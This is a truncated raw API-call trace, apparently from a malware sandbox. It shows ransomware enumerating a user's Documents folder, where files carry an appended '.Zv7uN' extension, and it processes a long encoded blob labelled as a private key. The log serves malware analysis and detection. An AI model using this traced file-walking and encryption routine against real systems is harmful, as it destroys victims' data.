nFileSizeLow=0x121d0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="XItXehzcofYBo38.doc.Zv7uN", cAlternateFileName="XITXEH~1.ZV7")) returned 1 [0089.004] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0089.004] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0089.004] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54b45640, ftCreationTime.dwHighDateTime=0x1d5dd29, ftLastAccessTime.dwLowDateTime=0x83f3c810, ftLastAccessTime.dwHighDateTime=0x1d5dc6f, ftLastWriteTime.dwLowDateTime=0x52eee480, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x121d0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="XItXehzcofYBo38.doc.Zv7uN", cAlternateFileName="XITXEH~1.ZV7")) returned 0 [0089.004] GetLastError () returned 0x12 [0089.004] FindClose (in: hFindFile=0x6aa0c0 | out: hFindFile=0x6aa0c0) returned 1 [0089.004] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77b90b40, ftCreationTime.dwHighDateTime=0x1d5e11b, ftLastAccessTime.dwLowDateTime=0xfd045470, ftLastAccessTime.dwHighDateTime=0x1d5e18f, ftLastWriteTime.dwLowDateTime=0xfd045470, ftLastWriteTime.dwHighDateTime=0x1d5e18f, nFileSizeHigh=0x0, nFileSizeLow=0x10b34, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="u5qNSJVfv61OV8 Tl4.odp", cAlternateFileName="U5QNSJ~1.ODP")) returned 1 [0089.004] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0089.004] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0089.004] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d175640, ftCreationTime.dwHighDateTime=0x1d5e50a, ftLastAccessTime.dwLowDateTime=0xc4d3bce0, ftLastAccessTime.dwHighDateTime=0x1d5d7de, ftLastWriteTime.dwLowDateTime=0x52ae9f60, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x65e7, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="vctdac7wdvfxK.rtf.Zv7uN", cAlternateFileName="VCTDAC~1.ZV7")) returned 1 [0089.004] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0089.004] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0089.004] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84e77be0, ftCreationTime.dwHighDateTime=0x1d5e11a, ftLastAccessTime.dwLowDateTime=0x6d41d190, ftLastAccessTime.dwHighDateTime=0x1d5e5e1, ftLastWriteTime.dwLowDateTime=0x52b100c0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x9bed, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="ZBpLsdIGq.csv.Zv7uN", cAlternateFileName="ZBPLSD~1.ZV7")) returned 1 [0089.004] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0089.004] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0089.005] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84e77be0, ftCreationTime.dwHighDateTime=0x1d5e11a, ftLastAccessTime.dwLowDateTime=0x6d41d190, ftLastAccessTime.dwHighDateTime=0x1d5e5e1, ftLastWriteTime.dwLowDateTime=0x52b100c0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x9bed, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="ZBpLsdIGq.csv.Zv7uN", cAlternateFileName="ZBPLSD~1.ZV7")) returned 0 [0089.005] GetLastError () returned 0x12 [0089.005] FindClose (in: hFindFile=0x6aa080 | out: hFindFile=0x6aa080) returned 1 [0089.005] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6eb1ff40, ftCreationTime.dwHighDateTime=0x1d5e2b3, ftLastAccessTime.dwLowDateTime=0x85213b10, ftLastAccessTime.dwHighDateTime=0x1d5e821, ftLastWriteTime.dwLowDateTime=0x85213b10, ftLastWriteTime.dwHighDateTime=0x1d5e821, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Id3VnokaSQb1-", cAlternateFileName="ID3VNO~1")) returned 0 [0089.005] GetLastError () returned 0x12 [0089.005] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0089.005] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0xba1113e9, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0089.005] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ee07430, ftCreationTime.dwHighDateTime=0x1d5c984, ftLastAccessTime.dwLowDateTime=0xa20d9310, ftLastAccessTime.dwHighDateTime=0x1d58dc5, ftLastWriteTime.dwLowDateTime=0x527f03e0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x101c7, dwReserved0=0xa0000003, dwReserved1=0xba1113e9, cFileName="DZvDv8 7hIh_Mu9Whp.docx.Zv7uN", cAlternateFileName="DZVDV8~1.ZV7")) returned 1 [0089.005] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0089.005] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0089.005] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd28d7e0, ftCreationTime.dwHighDateTime=0x1d5b8c8, ftLastAccessTime.dwLowDateTime=0x71e25370, ftLastAccessTime.dwHighDateTime=0x1d5a822, ftLastWriteTime.dwLowDateTime=0x5283c6a0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x106b1, dwReserved0=0xa0000003, dwReserved1=0xba1113e9, cFileName="hmE9.pptx.Zv7uN", cAlternateFileName="HME9PP~1.ZV7")) returned 1 [0089.005] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0089.005] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0089.005] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadfc9e80, ftCreationTime.dwHighDateTime=0x1d56e0a, ftLastAccessTime.dwLowDateTime=0x48d4b120, ftLastAccessTime.dwHighDateTime=0x1d5744d, ftLastWriteTime.dwLowDateTime=0x52862800, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x88bc, dwReserved0=0xa0000003, dwReserved1=0xba1113e9, cFileName="j5qVGDC 3 7fjtI.docx.Zv7uN", cAlternateFileName="J5QVGD~1.ZV7")) returned 1 [0089.006] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0089.006] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0089.006] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91fd17f0, ftCreationTime.dwHighDateTime=0x1d58872, ftLastAccessTime.dwLowDateTime=0x7c5c0410, ftLastAccessTime.dwHighDateTime=0x1d5e0e7, ftLastWriteTime.dwLowDateTime=0x528aeac0, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x147ed, dwReserved0=0xa0000003, dwReserved1=0xba1113e9, cFileName="J9WQ72qd-NL9SUaxFK.xlsx.Zv7uN", cAlternateFileName="J9WQ72~1.ZV7")) returned 1 [0089.006] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0089.006] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0089.006] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcc38190, ftCreationTime.dwHighDateTime=0x1d5acef, ftLastAccessTime.dwLowDateTime=0x6720a250, ftLastAccessTime.dwHighDateTime=0x1d5a4dc, ftLastWriteTime.dwLowDateTime=0x528fad80, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x179e1, dwReserved0=0xa0000003, dwReserved1=0xba1113e9, cFileName="kaymVO_E ijSZ80WGb.docx.Zv7uN", cAlternateFileName="KAYMVO~1.ZV7")) returned 1 [0089.006] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0089.006] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0089.006] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xba1113e9, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0089.006] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xba1113e9, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0089.006] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xba1113e9, cFileName="My Shapes", cAlternateFileName="MYSHAP~1")) returned 1 [0089.006] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xba1113e9, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0089.006] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdf2b7410, ftCreationTime.dwHighDateTime=0x1d5de29, ftLastAccessTime.dwLowDateTime=0x18588460, ftLastAccessTime.dwHighDateTime=0x1d5dd64, ftLastWriteTime.dwLowDateTime=0x18588460, ftLastWriteTime.dwHighDateTime=0x1d5dd64, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0xba1113e9, cFileName="o1L10dnO", cAlternateFileName="")) returned 1 [0089.006] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0089.006] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0089.006] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\o1L10dnO\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdf2b7410, ftCreationTime.dwHighDateTime=0x1d5de29, ftLastAccessTime.dwLowDateTime=0x18588460, ftLastAccessTime.dwHighDateTime=0x1d5dd64, ftLastWriteTime.dwLowDateTime=0x18588460, ftLastWriteTime.dwHighDateTime=0x1d5dd64, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0089.007] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdf2b7410, ftCreationTime.dwHighDateTime=0x1d5de29, ftLastAccessTime.dwLowDateTime=0x18588460, ftLastAccessTime.dwHighDateTime=0x1d5dd64, ftLastWriteTime.dwLowDateTime=0x18588460, ftLastWriteTime.dwHighDateTime=0x1d5dd64, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="..", cAlternateFileName="")) returned 1 [0089.007] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ba5d9f0, ftCreationTime.dwHighDateTime=0x1d5e5f7, ftLastAccessTime.dwLowDateTime=0x7a7e04b0, ftLastAccessTime.dwHighDateTime=0x1d5dae6, ftLastWriteTime.dwLowDateTime=0x7a7e04b0, ftLastWriteTime.dwHighDateTime=0x1d5dae6, nFileSizeHigh=0x0, nFileSizeLow=0xd8ea, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="4eQFtgvX0bY.xls", cAlternateFileName="4EQFTG~1.XLS")) returned 1 [0089.007] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0089.007] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0089.007] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\o1L10dnO\\4eQFtgvX0bY.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\o1l10dno\\4eqftgvx0by.xls"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ba5d9f0, ftCreationTime.dwHighDateTime=0x1d5e5f7, ftLastAccessTime.dwLowDateTime=0x7a7e04b0, ftLastAccessTime.dwHighDateTime=0x1d5dae6, ftLastWriteTime.dwLowDateTime=0x7a7e04b0, ftLastWriteTime.dwHighDateTime=0x1d5dae6, nFileSizeHigh=0x0, nFileSizeLow=0xd8ea)) returned 1 [0089.007] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\o1L10dnO\\4eQFtgvX0bY.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\o1l10dno\\4eqftgvx0by.xls")) returned 0x20 [0089.007] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\o1L10dnO\\4eQFtgvX0bY.xls", dwFileAttributes=0x80) returned 1 [0089.010] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0089.010] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1ef003c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: 